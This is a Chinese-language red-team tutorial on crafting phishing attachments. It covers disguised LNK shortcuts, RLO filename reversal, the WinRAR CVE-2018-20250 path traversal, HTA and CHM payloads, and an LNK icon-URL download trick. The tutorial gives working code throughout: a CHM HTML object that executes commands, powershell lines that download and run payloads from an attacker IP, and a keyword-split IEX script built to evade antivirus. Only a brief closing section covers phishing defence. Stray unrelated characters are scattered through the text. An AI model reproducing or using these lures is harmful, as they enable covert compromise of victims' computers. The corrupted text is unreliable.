0x01 Lnk:
lnk文件是用于指向其他文件的一種文件锈遥。這些文件通常稱(chēng)為快捷方式文件纫事,通常它以快捷方式放在硬盤(pán)上,以方便使用者快速的調(diào)用所灸。lnk釣魚(yú)主要將圖標(biāo)偽裝成正常圖標(biāo)丽惶,但是目標(biāo)會(huì)執(zhí)行shell命令。
lnk文件的載荷擁有自動(dòng)隱藏.lnk后綴名,從而展現(xiàn)偽裝的后綴名以欺騙目標(biāo)的特點(diǎn)而被廣泛使用爬立。
以calc.exe的快捷方式為例钾唬,我們首先更改ico圖標(biāo):
這里存在一個(gè)問(wèn)題,如果用系統(tǒng)自帶的ico去做文件圖標(biāo)替換的話會(huì)有個(gè)弊端侠驯,即當(dāng)替換的ico在目標(biāo)機(jī)器上不存在時(shí)抡秆,就會(huì)出現(xiàn)類(lèi)似空白ico圖標(biāo)。我們可以通過(guò)修改lnk的icon_location標(biāo)志位吟策,修改為相關(guān)后綴儒士,系統(tǒng)即可自動(dòng)關(guān)聯(lián)到對(duì)應(yīng)的打開(kāi)方式,達(dá)到自適配的效果
利用010 Editor
打開(kāi)lnk文件檩坚,找到String Data部分ICON_LOCATION
字符串:
將其修改為./1.pdf:
效果展示:
修改ICON_LOCATION后着撩,會(huì)根據(jù)目標(biāo)機(jī)器上所安裝的環(huán)境進(jìn)行適配,以顯示出符合本機(jī)環(huán)境的圖標(biāo),加大了樣本的成功幾率
0x02 文件名反轉(zhuǎn)(RLO)+ 超長(zhǎng)文件名隱藏:
利用原理:
在windows下面诅福,支持一種特殊的unicode字符RLO,一個(gè)字符串中如果有這個(gè)字符的話拖叙,那么在windows下顯示時(shí)氓润,就會(huì)把RLO右側(cè)的字符串逆序顯示出來(lái)。
在Windows中薯鳍,如果我們直接修改文件后綴旺芽,會(huì)更改文件原本類(lèi)型。但我們可以通過(guò)在文件名中插入此類(lèi)unicode字符辐啄,來(lái)達(dá)到文件名反轉(zhuǎn)的效果,實(shí)現(xiàn)文件名欺騙运嗜,而不更改文件原本類(lèi)型壶辜。
以cmd.exe為例,將其重命名為cmdgpj.exe,然后在 cmd 與 g 之間右鍵選擇插入U(xiǎn)nicode控制字符
担租,選擇RLO砸民。然后利用http://www.bitbug.net/
將圖片轉(zhuǎn)為ico圖標(biāo),再配合ResourceHacker修改圖標(biāo)奋救。
利用windows目錄默認(rèn)顯示文件名長(zhǎng)度特性岭参,進(jìn)行修改將文件名加長(zhǎng)隱藏后綴名。
或者可以新建一個(gè)bat文件尝艘,使用cs生成powershell木馬演侯,將其保存為test.bat。利用BAT2EXE導(dǎo)入前面創(chuàng)建的test.bat背亥,然后將notepad
添加到test.bat的頂部秒际,將Exe格式更改為"隱形應(yīng)用程序",以防止在目標(biāo)用戶打開(kāi)文件時(shí)彈出任何終端狡汉,最后點(diǎn)擊Convert娄徊。
轉(zhuǎn)換成exe以后,利用RLO進(jìn)行文件名反轉(zhuǎn)盾戴,再添加記事本的圖標(biāo)來(lái)進(jìn)行偽裝寄锐。當(dāng)用戶關(guān)閉此txt時(shí)會(huì)新增一個(gè)powershell進(jìn)程。這樣做會(huì)使目標(biāo)用戶相信他們剛剛單擊的文件確實(shí)是合法的文本文件尖啡,殊不知CS已悄然上線橄仆。
0x03 WinRAR目錄穿越漏洞(CVE-2018-20250)
該漏洞是由于 WinRAR 所使用的一個(gè)陳舊的動(dòng)態(tài)鏈接庫(kù)UNACEV2.dll所造成的,該動(dòng)態(tài)鏈接庫(kù)在 2006 年被編譯可婶,沒(méi)有任何的基礎(chǔ)保護(hù)機(jī)制(ASLR, DEP 等)沿癞。動(dòng)態(tài)鏈接庫(kù)的作用是處理 ACE 格式文件。而WinRAR解壓ACE文件時(shí)矛渴,由于沒(méi)有對(duì)文件名進(jìn)行充分過(guò)濾椎扬,導(dǎo)致其可實(shí)現(xiàn)目錄穿越惫搏,將惡意文件寫(xiě)入任意目錄,甚至可以寫(xiě)入文件至開(kāi)機(jī)啟動(dòng)項(xiàng)蚕涤,導(dǎo)致代碼執(zhí)行
- 漏洞利用原理:
漏洞主要是由 WinRAR 用來(lái)解壓ACE壓縮包采用的動(dòng)態(tài)鏈接庫(kù) unacev2.dll 這個(gè)dll引起的筐赔。unacev2.dll 中處理 filename 時(shí)只校驗(yàn)了 CRC,黑客可以通過(guò)更改壓縮包的 CRC 校驗(yàn)碼來(lái)修改解壓時(shí)候的 filename揖铜,來(lái)觸發(fā)這個(gè)Path Traversal漏洞茴丰。但是 WinRAR 本身檢測(cè)了 filename,有一些限制并且普通用戶解壓 RAR 文件時(shí)候天吓,并不能將我們惡意的 Payload 解壓到需要 System 權(quán)限的文件夾贿肩。
當(dāng)用戶將文件下載到默認(rèn)的C:\Users\test\Downloads
目錄下時(shí),我們通過(guò)構(gòu)造C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
經(jīng)過(guò) WinRAR 的 CleanPath 函數(shù)處理之后龄寞,會(huì)變成:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
其中 C: 會(huì)被轉(zhuǎn)換成當(dāng)前路徑汰规,如果用 WinRAR 打開(kāi)那么當(dāng)前路徑就是C:\Program Files\WinRAR
,要是在文件夾中右鍵解壓到 xxx物邑,那么當(dāng)前路徑就是壓縮包所在的路徑溜哮。
當(dāng)用戶在文件夾中直接右鍵解壓到 xx,那么我們惡意的 payload 解壓地址就會(huì)變成:C:\Users\test\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
就是當(dāng)前用戶的啟動(dòng)項(xiàng)色解。這樣一個(gè)利用完成了從一個(gè)Path Traversal到任意命令執(zhí)行的過(guò)程茂嗓。
補(bǔ)充:如果解壓縮軟件并非目標(biāo)版本,則提示解壓失敗或者不是一個(gè)正常的壓縮包科阎。
- 漏洞危害:
1述吸、通過(guò)這個(gè)漏洞黑客可以將惡意程序(挖礦、勒索锣笨、間諜刚梭、anything)放入用戶啟動(dòng)項(xiàng),當(dāng)目標(biāo)電腦重新啟動(dòng)時(shí)獲取目標(biāo)主機(jī)的權(quán)限票唆。
2朴读、在擁有system權(quán)限下可以放入c:/windows/system32/wbem/mof/nullevt.mof,直接在獲取目標(biāo)主機(jī)的權(quán)限走趋。
3衅金、可以投放惡意dll文件進(jìn)行dll劫持獲取到目標(biāo)主機(jī)的權(quán)限,或者覆蓋用戶主機(jī)上的文件等方式獲取目標(biāo)主機(jī)的權(quán)限
- 漏洞影響范圍:
- WinRAR < 5.70 Beta 1
- Bandizip <= 6.2.0.0
- 好壓(2345壓縮) <= 5.9.8.10907
- 360壓縮 <= 4.0.0.1170
漏洞利用exp:https://github.com/WyAtu/CVE-2018-20250
制作好CS馬后,將其復(fù)制到項(xiàng)目文件中簿煌,修改exp.py文件中的evil_filename:
修改python3的運(yùn)行命令
運(yùn)行exp.py后氮唯,將生成的惡意test.rar文件傳到win7靶機(jī)中的download目錄中
使用WINRAR解壓文件,解壓后會(huì)在自啟動(dòng)目錄生成一個(gè)惡意文件hi.exe姨伟,我們可以運(yùn)行shell:startup
進(jìn)行查看
更多利用方式請(qǐng)參考:WinRAR(CVE-2018-20250)漏洞利用再升級(jí) 減少重啟系統(tǒng)的依賴
0x04 HTA:
HTA是HTML Application的縮寫(xiě)惩琉,直接將HTML保存成HTA的格式,是一個(gè)獨(dú)立的應(yīng)用軟件夺荒,本身就是html應(yīng)用程序瞒渠,雙擊就能運(yùn)行良蒸,卻比普通網(wǎng)頁(yè)權(quán)限大得多,它具有桌面程序的所有權(quán)限伍玖。
Cobalt Strike也支持HTA釣魚(yú)文件的生成嫩痰,提供了3種生成方式 exe,powershell,vba
生成方式:Attack>Packages>HTML Application
其中VBA方法需要目標(biāo)系統(tǒng)上的Microsoft Office,在系統(tǒng)支持的情況下我們一般選擇powershell窍箍,因?yàn)檫@種方式更加容易免殺串纺。通常我們結(jié)合host File(文件下載功能),生成一個(gè)下載惡意HTA的網(wǎng)址來(lái)實(shí)行釣魚(yú)椰棘。
0x05 CHM:
CHM(Compiled Help Manual)即“已編譯的幫助文件”纺棺。它是微軟新一代的幫助文件格式,利用HTML作源文邪狞,把幫助內(nèi)容以類(lèi)似數(shù)據(jù)庫(kù)的形式編譯儲(chǔ)存五辽。CHM支持Javas cript、VBs cript外恕、ActiveX、Java?Applet乡翅、Flash鳞疲。
常見(jiàn)圖形文件(GIF、JPEG蠕蚜、PNG)尚洽、音頻視頻文件(MID、WAV靶累、AVI)等等腺毫,并可以通過(guò)URL與Internet聯(lián)系在一起。因?yàn)槭褂梅奖阏跫恚问蕉鄻右脖徊捎米鳛殡娮訒?shū)的格式潮酒。
創(chuàng)建一個(gè)文件夾,在文件夾里面再創(chuàng)建兩個(gè)文件夾和一個(gè)index.html文件邪蛔。index.html文件內(nèi)容如下:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用EasyCHM進(jìn)行編譯后急黎,打開(kāi)生成的CHM文件,就會(huì)彈出計(jì)算器:
利用powershell上線CS:
注意:exe后面要再加一個(gè)英文版逗號(hào)否則無(wú)法執(zhí)行exe侧到,還要注意payload字符串的雙引號(hào)跟單引號(hào)是否沖突
使用CHM執(zhí)行powershell腳本勃教,但唯一不足就是會(huì)彈出黑框。這里可以利用MyJSRat配合chm進(jìn)行上線
python2 MyJSRat.py -i 192.168.107.129 -p 8555
然后訪問(wèn)下 url:http://192.168.107.129:8555/wtf
將payload復(fù)制到index.html文件中匠抗,然后重新編譯CHM故源。
受害者打開(kāi)chm文件后,觸發(fā)Payload可無(wú)彈窗運(yùn)行命令:
實(shí)際釣魚(yú)的過(guò)程中汞贸,可以用正常chm文檔進(jìn)行偽裝绳军,將其轉(zhuǎn)成html:
hh -decompile .\\html CHM.CHM
釣魚(yú)html payload復(fù)制修改印机,嵌入到IBurpCollaboratorClientContext.html文件中
0x06 拓展一:
1、新建一個(gè)指向%windir%/System32/mshta.exe
的快捷方式(文件名盡量帶有迷惑性)删铃,并更改其圖標(biāo)為%SystemRoot%/System32/SHELL32.dll
中任意一個(gè)
2耳贬、利用CS生成一個(gè)HTA文件,并利用Host File模塊生成兩個(gè)下載地址猎唁。其中一個(gè)指向正常的pdf文件咒劲,還有一個(gè)指向HTA文件
3、編輯HTA文件诫隅,于其執(zhí)行payload前增加如下語(yǔ)句(用于下載誘餌文檔并且進(jìn)行打開(kāi),同時(shí)誘餌文檔的顯示有多種方法,這里只是舉一個(gè)例子):
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.107.129/1.pdf',$env:temp+'/2022最新薪資架構(gòu)制度.pdf');Start-Process $env:temp'/2022最新薪資架構(gòu)制度.pdf'", 0, true
利用上述方法腐魂,將lnk文件修改為自適應(yīng)的pdf的圖標(biāo),效果如下:
然后發(fā)送給靶機(jī)win7逐纬,雙擊該LNK文件蛔屹,主機(jī)便會(huì)上線,而受害者會(huì)看到一正常的PDF文檔:
0x07 拓展二:
利用原理:
- 利用ftp參數(shù)!可以執(zhí)行系統(tǒng)命令
- -s:filename(指定包含 FTP 命令的文本文件豁生;命令在FTP啟動(dòng)后自動(dòng)運(yùn)行兔毒。此參數(shù)中沒(méi)有空格。)
利用以上兩點(diǎn)達(dá)到命令執(zhí)行的效果
- 利用過(guò)程:
1甸箱、創(chuàng)建一個(gè)快捷方式(參數(shù)混淆繞過(guò)360):
2育叁、新建一個(gè)aaa.dll,內(nèi)容為執(zhí)行當(dāng)前目錄下的1.ps1文件:!cmd /k powershell -exec bypass .\1.ps1
3芍殖、1.ps1內(nèi)容為CS上線命令豪嗽,這里使用使用拼接的方式替換關(guān)鍵詞,可繞過(guò)360的檢測(cè):
$c3 ='IEX';
$c6='(new-object net.webc';
$c7='lient).downlo';
$c8='adstr';
$c9 ='ing(''http://192.168.107.129:80/abc'')';
IEX ($c3+$c6+$c7+$c8+$c9)
0x08 拓展三:
- 快捷方式圖標(biāo)下載執(zhí)行exe
操作系統(tǒng)不僅會(huì)從本地驅(qū)動(dòng)器加載外部圖標(biāo)文件豌骏,還會(huì)嘗試從以 UNC 格式指定的遠(yuǎn)程路徑或者通過(guò)URL加載龟梦。當(dāng)文件資源管理器顯示 LNK 文件時(shí),會(huì)嘗試加載圖標(biāo)窃躲,如果圖標(biāo)由 UNC 或 URL 路徑指定存在计贰,它將被下載并顯示。當(dāng)計(jì)算機(jī)獲取文件之后會(huì)像鏈接請(qǐng)求并緩存到:%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache
注意:ICON_LOCATION 字符串的限制:必須以.ico
結(jié)尾
直接用ps1生成快捷方式:
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("C:\users\sws123\desktop\aaaa.lnk")
$shortcut.TargetPath = "C:\windows\system32\cmd.exe"
$shortcut.Arguments = ' /c "cd %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache & dir /s /B calc*.exe | cmd.exe /k" '
$shortcut.IconLocation = "http://192.168.107.129:8000/calc.exe?.ico"
$shortcut.Save()
當(dāng)在文件資源管理器中打開(kāi) LNK 所在的文件夾時(shí)蒂窒,操作系統(tǒng)將嘗試使用 HTTP GET 請(qǐng)求下載 URL 指定的文件:
生成的 HTTP GET 請(qǐng)求將導(dǎo)致將calc.exe下載到路徑 %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache
(在 W10 機(jī)器上)中的某個(gè)位置蹦玫,名稱(chēng)為 calc[1].exe
由于文件路徑是基本確定的,可以通過(guò)lnk文件修改鏈接指向cmd并執(zhí)行它
- 利用方式:
制作一個(gè)特殊的 LNK 文件刘绣,將其壓縮并通過(guò)網(wǎng)絡(luò)釣魚(yú)電子郵件發(fā)送出去樱溉,或者將 LNK 上傳到多個(gè)用戶使用的網(wǎng)絡(luò)文件共享
詳情請(qǐng)參考:Using Shell Links as zero-touch downloaders and to initiate network connections
釣魚(yú)郵件防范措施:
對(duì)公司來(lái)說(shuō):
1)組織員工進(jìn)行釣魚(yú)郵件防范培訓(xùn),提高全員網(wǎng)絡(luò)空間安全防范意識(shí);
2)在公司內(nèi)部不定期進(jìn)行釣魚(yú)郵件安全測(cè)試,及時(shí)發(fā)現(xiàn)問(wèn)題并采取補(bǔ)救措施;
3)使用高安全性郵件系統(tǒng)纬凤,并及時(shí)配置安全過(guò)濾機(jī)制;
4)敦促員工安裝殺毒軟件,并及時(shí)更新病毒庫(kù).
對(duì)個(gè)人來(lái)說(shuō):
1)認(rèn)真學(xué)習(xí)CNCERT發(fā)布的《釣魚(yú)郵件攻擊防范指南》福贞,做到“五要”“五不要”,增強(qiáng)安全防范意識(shí);
2)不要輕信發(fā)件人地址顯示的“顯示名”,遇到索要敏感信息的郵件需要及時(shí)通過(guò)電話核實(shí);
3)切忌輕易打開(kāi)郵件中文中的短鏈接,謹(jǐn)防上當(dāng)受騙,造成財(cái)物損失;
4)安裝殺毒軟件,郵件附件運(yùn)行前先進(jìn)行病毒查殺.
參考如下:
基于釣魚(yú)攻擊的技術(shù)點(diǎn)研究
紅隊(duì)攻防之CHM文檔釣魚(yú)
紅藍(lán)對(duì)抗之郵件釣魚(yú)攻擊
HW在即——紅隊(duì)活動(dòng)之Lnk樣本載荷篇
【漏洞復(fù)現(xiàn)】WinRAR目錄穿越漏洞(CVE-2018-20250) - 愛(ài)碼網(wǎng)
滲透地基釣魚(yú)篇-Cobalt Strike釣魚(yú)
黑客實(shí)戰(zhàn)經(jīng)常用到的釣魚(yú)繞過(guò)騷操作